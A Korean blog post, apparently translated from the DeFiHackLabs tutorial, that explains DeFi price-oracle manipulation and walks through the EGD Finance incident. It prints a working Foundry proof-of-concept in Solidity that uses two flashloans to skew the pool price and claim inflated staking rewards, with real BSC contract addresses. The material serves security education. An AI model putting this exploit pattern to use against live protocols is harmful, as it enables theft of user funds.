새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiHackLabs - 3. Write Your Own PoC

  • -
반응형

PoC를 작성하기 위해 알아야 할 사항

  1. 일반적인 공격에 대한 이해
  2. Smart Contract가 서로 상호작용하는 방식을 포함한 DeFi 메커니즘 이해

현재 가격 및 구성과 같은 Smart Contract의 가격은 스스로 업데이트할 수 없다. Contract logic을 실행하려면 실행 중 외부 데이터가 필요한 경우가 있다. 이는 일반적으로 다음 방법으로 수행된다.

  1. EOA를 통해, 계좌들의 금액을 기준으로 가격을 계산할 수 있다.
  2. 누군가 또는 자신이 관리하는 Oracle을 사용해야 한다. 가격, 이자율 등 외부 데이터가 주기적으로 업데이트된다.

예를 들어 Uniswap V2에서는 거래되는 자산의 상대적 가치를 결정하고, 거래를 실행하는 데 사용되는 자산의 현재 가격을 제공한다.

etherscan에 따라 ETH 가격은 외부 데이터이다. Smart Contract는 Uniswap V2에서 가져온다.

x * y = k 우리는 일반적으로 AMM의 공식을 알고 있다. x(이 경우 ETH 가격) = k / y

그래서 우리는 Uniswap V2 WETC/USDC 거래 쌍 Contract를 살펴봐야 한다. 

발행 시점에 다음과 같은 예비 값이 표시된다.

  • WETC = 28,348.27560256 / USDC = 47,149,259.890137
  • 47,149,259.890137 / 28,348.27560256 = 1,663.214389

시장 가격은 계산된 가격과 몇 % 차이가 날 수 있다. 대부분의 경우 pool에 영향을 미치는 거래 수수료 또는 새로운 거래를 의미. 이 차이는 skim()으로 훑어볼 수 있음

// 현재 ETH 가격을 가져오는 경우 대출 계약의 경우 pesudocode는 다음과 같다. uint256 UniV2_ETH_Reserve = WETH.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); uint256 UniV2_USDC_Reserve = USDC.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); uint256 ETH_Price = UniV2_USDC_Reserve / UniV2_ETH_Reserve;

가장 일반적인 공격

  • Oracle 주소 변경

Root Cause: 확인 메커니즘 부족

  • Flashloan을 통해 유동성을 고갈시켜 Oracle에게 잘못된 가격 제공

이 공격은 특정 함수를 호출하는 공격자에게 자주 나타난다.(GetPrice, Swap, StackingReward, Transfer 등)

Root Cause: 안전하지 않거나 손상된 Oracle을 사용하여 프로토콜 또는 Oracle이 시간 가중 평균 기능을 구현하지 않음

 - balanceOf()가 잘 보호되는지 확인


example: EGD Finance

해킹 사고가 발생하면 정보를 수집하고 정리하는 것이 중요

  1. Transaction ID
  2. Attacker Address(EOA)
  3. Attack Contract Address
  4. Vulnerable Address
  5. Total Loss
  6. Reference Links
  7. Post-mortem Links
  8. Vulnerable snippet
  9. Audit History

EGD Finance Exploit

Phalcon을 이용한 EGD Finance 사건 분석

Ethererum EVM에서 원격 기능을 트리거하는 3가지 호출 유형을 볼 수 있다.

  • call: 일반적인 cross-contract function호출은 종종 수신자의 Storage를 변경한다.
  • staticCall: 상태 및 변수를 가져오는 데 수신자의 Storage를 변경하지 않는다.
  • delegateCall: msg.sender가 동일하게 유지되며 일반적으로 proxy호출에 사

추가 정보 - 공격자의 Flashloan attack

  1. 공격이 수익성 있는지 확인. 먼저 대출을 받을 수 있는지 확인한 다음 충분한 잔액이 있는지 확인                                                           - 처음에는 staticCall이 일부 표시
  2. DEX 또는 대출 프로토콜을 사용하여 Flashloan을 받고, 다음과 같은 함수를 찾기
    • Uniswap V2, Pancakeswap: .swap()
    • Balancer: flashLoan()
    • DODO: .flashloan()
    • AAVE: .flashLoan()
  3. Flashloan 프로토콜에서 공격자의 Contract로 callback 할 때 다음과 같은 함수 찾기
    • Uniswap V2: .uniswapV2Call()
    • Pancakeswap: .Pancakeswap()
    • Balancer: .receiveFlashLoan()
    • DODO: .DXXFlashLoanCall()
    • AAVE: .executeOperation()
  4. Contract의 취약점으로부터 이익을 얻기 위해 공격을 실행
  5. flashloan 반환하기

전체 호출 스택의 Flow는 사진과 같다. 공격자의 트랜잭션 함수 호출을 분석한 후 몇 가지를 재현해 보자.

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "./interface.sol"; // @KeyInfo - Total Lost : ~36,044 US$ // Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd // Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7 // Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy) // Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic) // Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3 // @Info // Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254 // Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 // @Analysis // Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464 // PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776 // Declaring a global variable must be of constant type. CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d); IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370; address constant usdt = 0x55d398326f99059fF775485246999027B3197955; address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98; contract Attacker is Test { // simulated attacker(EOA) Exploit exploit = new Exploit(); constructor() { // can also be replaced with ‘function setUp() public {} // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command." cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); cheat.label(address(pancakeRouter), "pancakeRouter"); cheat.label(EGD_Finance, "EGD_Finance"); cheat.label(usdt, "USDT"); cheat.label(egd, "EGD"); /* ------------------------------------------------------------------------------------------- */ cheat.roll(20245539); //Note: The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time. console.log("-------------------------------- Start Exploit ----------------------------------"); } function testExploit() public { // To be executed by Foundry testcases, it must be named "test" at the start. //To observe the changes in the balance, print out the balance first, before attacking. emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18); emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18); console.log("Attacker manipulating price oracle of EGD Finance..."); exploit.harvest(); //A simulation of an EOA call attack console.log("-------------------------------- End Exploit ----------------------------------"); emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); } } /* -------------------- Interface -------------------- */ interface IEGD_Finance { function calculateAll(address addr) external view returns (uint); }
/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ contract Exploit is Test{ // attack contract uint256 borrow1; function harvest() public { console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); borrow1 = 2000 * 1e18; USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); console.log("Flashloan[1] payback success"); IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //profit-taking settlement } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { console.log("Flashloan[1] received"); // Weakness exploit... // Exchange the stolen EGD Token for USDT console.log("Swap the profit..."); address[] memory path = new address[](2); path[0] = egd; path[1] = usdt; IERC20(egd).approve(address(pancakeRouter), type(uint256).max); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp ); bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //Attacker repays 2,000 USDT + 0.5% service fee require(suc, "Flashloan[1] payback failed"); } }

공격자 Pancakeswap.swap() 함수가 exploit 하기 위해서 함수를 호출. call stack에 두 번째 flashloan call이 있는 것처럼 보임

Pancakeswap은 .swap() interface를 사용하여 공격자 Contract에 대한 callback을 수행.

첫 번째 flashloan에서 0x0000은 callback 데이터로 사용했다.

그러나 2차 flashloan때 공격자는 0x00을 callback 데이터로 사용했다.

이 방법을 통해 공격하는 Contract는 _data 매개변수를 기반으로 어떤 코드를 실행할지 결정할 수 있다.(0x0000 or 0x00)

두 번째 callback동안 공격자는 EGD Finance에서 claimAllReward() 함수만 호출했다.

claimAllReward()의 콜 스택을 확장하면 EGD Finance가 EGD Token과 USDT의 잔액에 대해 0xa361-Cake-LP에 대한 읽기를 한 후 공격자의 Contract에 많은 양의 EGD Token을 전송한 것을 확인할 수 있다.

 

0xa361-Cake-LP Contract는 무엇일까??

etherscan을 통해 어떤 Contract 쌍인지 확인할 수 있다.

etherscan에서 Contract의 처음 두 개의 가장 큰 토큰을 본다. 또는

Contract에 있는 token0, token1의 주소를 확인

claimAllReward()의 취약점을 다음과 같다.

스테이킹 리워드의 금액은 현재 EGD 토큰 가격에 getEGDPrice() 함수를 곱한 것이라고 확인할 수 있다.

그리고 스테이킹 리워드는 EGD 토큰 가격 기준으로 된다. EGD 토큰 가격이 높으면 리워드가 적고 반대도 마찬가지이다.

getEGDPrice() 함수는 Oracle과 같이 x * y = k를 통해 현재 가격을 확인할 수 있다.

그러면 공격자는 이 취약점을 어떻게 활용할까??

기본 메커니즘은 공격자가 두 번째 flashloan에서 많은 양의 USDT를 빌려서 x * y = k공식에 따라 pool 가격에 영향을 미치는 것이다. 그러면 대출금을 반환하기 전에 getEGDPrice() 함수는 부정확해진다.

마지막으로 공격자는 Pancakeswap를 이용하여 EGD Token을 USDT로 교환하여 이익을 얻었다.

Attack에 대한 PoC

/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ contract Exploit is Test{ // attack contract uint256 borrow1; uint256 borrow2; function harvest() public { console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); borrow1 = 2000 * 1e18; USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); console.log("Flashloan[1] payback success"); IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { console.log("Flashloan[1] received"); if(keccak256(data) == keccak256("0000")) { console.log("Flashloan[1] received"); console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve"); borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool. EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2] console.log("Flashloan[2] payback success"); // 漏洞利用結束, 把盜取的 EGD Token 換成 USDT console.log("Swap the profit..."); address[] memory path = new address[](2); path[0] = egd; path[1] = usdt; IERC20(egd).approve(address(pancakeRouter), type(uint256).max); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp ); bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee. require(suc, "Flashloan[1] payback failed"); } else { console.log("Flashloan[2] received"); // Exploitation... } } }

두 번째 flashloan에 대한 PoC

/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ contract Exploit is Test{ // attack contract uint256 borrow1; uint256 borrow2; function harvest() public { console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); borrow1 = 2000 * 1e18; USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); console.log("Flashloan[1] payback success"); IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Gaining profit } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { console.log("Flashloan[1] received"); if(keccak256(data) == keccak256("0000")) { console.log("Flashloan[1] received"); console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve"); borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool. EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2] console.log("Flashloan[2] payback success"); // Exchange the stolen EGD Token for USDT after the exploit is over. console.log("Swap the profit..."); address[] memory path = new address[](2); path[0] = egd; path[1] = usdt; IERC20(egd).approve(address(pancakeRouter), type(uint256).max); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp ); bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee. require(suc, "Flashloan[1] payback failed"); } else { console.log("Flashloan[2] received"); emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18); // ----------------------------------------------------------------- console.log("Claim all EGD Token reward from EGD Finance contract"); IEGD_Finance(EGD_Finance).claimAllReward(); emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18); // ----------------------------------------------------------------- uint256 swapfee = amount1 * 3 / 1000; // Attacker pay 0.3% fee to Pancakeswap bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1+swapfee); require(suc, "Flashloan[2] payback failed"); } } } /* -------------------- Interface -------------------- */ interface IEGD_Finance { function calculateAll(address addr) external view returns (uint); function claimAllReward() external; function getEGDPrice() external view returns (uint); }

 

출처: https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/en

반응형

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.